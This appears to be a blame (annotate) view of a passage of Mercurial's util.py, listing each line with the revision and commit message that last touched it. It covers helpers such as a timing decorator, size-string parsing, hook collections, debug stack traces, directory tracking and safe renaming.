38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3350 timedcm._nested = 0
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3351
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3352
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3353 def timed(func):
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3354 '''Report the execution time of a function call to stderr.
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3355
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3356 During development, use as a decorator when you need to measure
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3357 the cost of a function, e.g. as follows:
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3358
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3359 @util.timed
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3360 def foo(a, b, c):
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3361 pass
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3362 '''
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3363
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3364 def wrapper(args, *kwargs):
39286 331ab85e910b cleanup: make all uses of timedcm specify what they're timing Augie Fackler <augie@google.com> parents: 39285 diff changeset	3365 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3366 result = func(args, *kwargs)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3367 stderr = procutil.stderr
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3368 stderr.write(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3369 '%s%s: %s\n'
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3370 % (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3371 ' ' * time_stats.level * 2,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3372 pycompat.bytestr(func.__name__),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3373 time_stats,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3374 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3375 )
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3376 return result
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3377
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3378 return wrapper
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3379
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3380
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3381 _sizeunits = (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3382 ('m', 2 ** 20),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3383 ('k', 2 ** 10),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3384 ('g', 2 ** 30),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3385 ('kb', 2 ** 10),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3386 ('mb', 2 ** 20),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3387 ('gb', 2 ** 30),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3388 ('b', 1),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3389 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3390
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3391
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3392 def sizetoint(s):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3393 '''Convert a space specifier to a byte count.
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3394
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3395 >>> sizetoint(b'30')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3396 30
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3397 >>> sizetoint(b'2.2kb')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3398 2252
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3399 >>> sizetoint(b'6M')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3400 6291456
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3401 '''
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3402 t = s.strip().lower()
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3403 try:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3404 for k, u in _sizeunits:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3405 if t.endswith(k):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3406 return int(float(t[: -len(k)]) * u)
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3407 return int(t)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3408 except ValueError:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3409 raise error.ParseError(_("couldn't parse size: %s") % s)
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3410
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3411
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3412 class hooks(object):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3413 '''A collection of hook functions that can be used to extend a
26098 ce26928cbe41 spelling: behaviour -> behavior timeless@mozdev.org parents: 25672 diff changeset	3414 function's behavior. Hooks are called in lexicographic order,
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3415 based on the names of their sources.'''
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3416
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3417 def __init__(self):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3418 self._hooks = []
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3419
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3420 def add(self, source, hook):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3421 self._hooks.append((source, hook))
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3422
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3423 def __call__(self, *args):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3424 self._hooks.sort(key=lambda x: x[0])
21046 cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	3425 results = []
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3426 for source, hook in self._hooks:
21046 cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	3427 results.append(hook(*args))
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	3428 return results
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3429
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3430
36167 2874896a6e3b util: format line number of stack trace using %d Augie Fackler <augie@google.com> parents: 36166 diff changeset	3431 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3432 '''Yields lines for a nicely formatted stacktrace.
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3433 Skips the 'skip' last entries, then return the last 'depth' entries.
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3434 Each file+linenumber is formatted according to fileline.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3435 Each line is formatted according to line.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3436 If line is None, it yields:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3437 length of longest filepath+line number,
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3438 filepath+linenumber,
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3439 function
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3440
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3441 Not be used in production code but very convenient while developing.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3442 '''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3443 entries = [
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3444 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3445 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3446 ][-depth:]
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3447 if entries:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3448 fnmax = max(len(entry[0]) for entry in entries)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3449 for fnln, func in entries:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3450 if line is None:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3451 yield (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3452 else:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3453 yield line % (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3454
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3455
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3456 def debugstacktrace(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3457 msg='stacktrace', skip=0, f=procutil.stderr, otherf=procutil.stdout, depth=0
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3458 ):
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3459 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3460 Skips the 'skip' entries closest to the call, then show 'depth' entries.
78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3461 By default it will flush stdout first.
28496 b592564a803c util: reword debugstacktrace comment timeless <timeless@mozdev.org> parents: 28027 diff changeset	3462 It can be used everywhere and intentionally does not require an ui object.
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3463 Not be used in production code but very convenient while developing.
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3464 '''
20542 be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3465 if otherf:
be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3466 otherf.flush()
31323 7c877cbf30d6 util: strip trailing newline from debugstacktrace message Mads Kiilerich <madski@unity3d.com> parents: 31151 diff changeset	3467 f.write('%s at:\n' % msg.rstrip())
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3468 for line in getstackframes(skip + 1, depth=depth):
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3469 f.write(line)
20542 be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3470 f.flush()
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3471
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3472
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3473 class dirs(object):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3474 '''a multiset of directory names from a dirstate or manifest'''
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3475
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3476 def __init__(self, map, skip=None):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3477 self._dirs = {}
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3478 addpath = self.addpath
42641 b5092c23ca35 py: error out if a "skip" character was given with non-dict to util.dirs() Martin von Zweigbergk <martinvonz@google.com> parents: 42545 diff changeset	3479 if isinstance(map, dict) and skip is not None:
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3480 for f, s in map.iteritems():
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3481 if s[0] != skip:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3482 addpath(f)
42641 b5092c23ca35 py: error out if a "skip" character was given with non-dict to util.dirs() Martin von Zweigbergk <martinvonz@google.com> parents: 42545 diff changeset	3483 elif skip is not None:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3484 raise error.ProgrammingError(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3485 "skip character is only supported " "with a dict source"
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3486 )
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3487 else:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3488 for f in map:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3489 addpath(f)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3490
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3491 def addpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3492 dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3493 for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3494 if base in dirs:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3495 dirs[base] += 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3496 return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3497 dirs[base] = 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3498
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3499 def delpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3500 dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3501 for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3502 if dirs[base] > 1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3503 dirs[base] -= 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3504 return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3505 del dirs[base]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3506
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3507 def __iter__(self):
31439 807387581d89 py3: use iter() instead of iterkeys() Rishabh Madan <rishabhmadan96@gmail.com> parents: 31413 diff changeset	3508 return iter(self._dirs)
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3509
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3510 def __contains__(self, d):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3511 return d in self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3512
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3513
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3514 if safehasattr(parsers, 'dirs'):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3515 dirs = parsers.dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3516
42545 2db96bf84a8f rust-dirstate: call new "dirs" rust implementation from Python Rapha?l Gom?s <rgomes@octobus.net> parents: 42365 diff changeset	3517 if rustdirs is not None:
2db96bf84a8f rust-dirstate: call new "dirs" rust implementation from Python Rapha?l Gom?s <rgomes@octobus.net> parents: 42365 diff changeset	3518 dirs = rustdirs
2db96bf84a8f rust-dirstate: call new "dirs" rust implementation from Python Rapha?l Gom?s <rgomes@octobus.net> parents: 42365 diff changeset	3519
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3520
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3521 def finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3522 pos = path.rfind('/')
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3523 while pos != -1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3524 yield path[:pos]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3525 pos = path.rfind('/', 0, pos)
42365 d8e55c0c642c util: make util.dirs() and util.finddirs() include root directory (API) Martin von Zweigbergk <martinvonz@google.com> parents: 42041 diff changeset	3526 yield ''
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3527
33841 fa7e30efe05a i18n: get translation entries for description of each compression engines FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 33839 diff changeset	3528
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3529 # convenient shortcut
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3530 dst = debugstacktrace
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3531
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3532
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3533 def safename(f, tag, ctx, others=None):
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3534 """
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3535 Generate a name that it is safe to rename f to in the given context.
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3536
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3537 f: filename to rename
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3538 tag: a string tag that will be included in the new name
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3539 ctx: a context, in which the new name must not exist
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3540 others: a set of other filenames that the new name must not be in
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3541
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3542 Returns a file name of the form oldname~tag[~number] which does not exist
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3543 in the provided context and is not in the set of other names.
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3544 """
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3545 if others is None:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3546 others = set()
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3547
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3548 fn = '%s~%s' % (f, tag)
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3549 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3550 return fn
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3551 for n in itertools.count(1):
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3552 fn = '%s~%s~%s' % (f, tag, n)
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3553 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3554 return fn
35754 fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3555
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3556
35754 fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3557 def readexactly(stream, n):
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3558 '''read n bytes from stream.read and abort if less was available'''
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3559 s = stream.read(n)
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3560 if len(s) < n:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3561 raise error.Abort(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3562 _("stream ended unexpectedly" " (got %d bytes, expected %d)")
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3563 % (len(s), n)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3564 )
35754 fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3565 return s
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3566
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3567
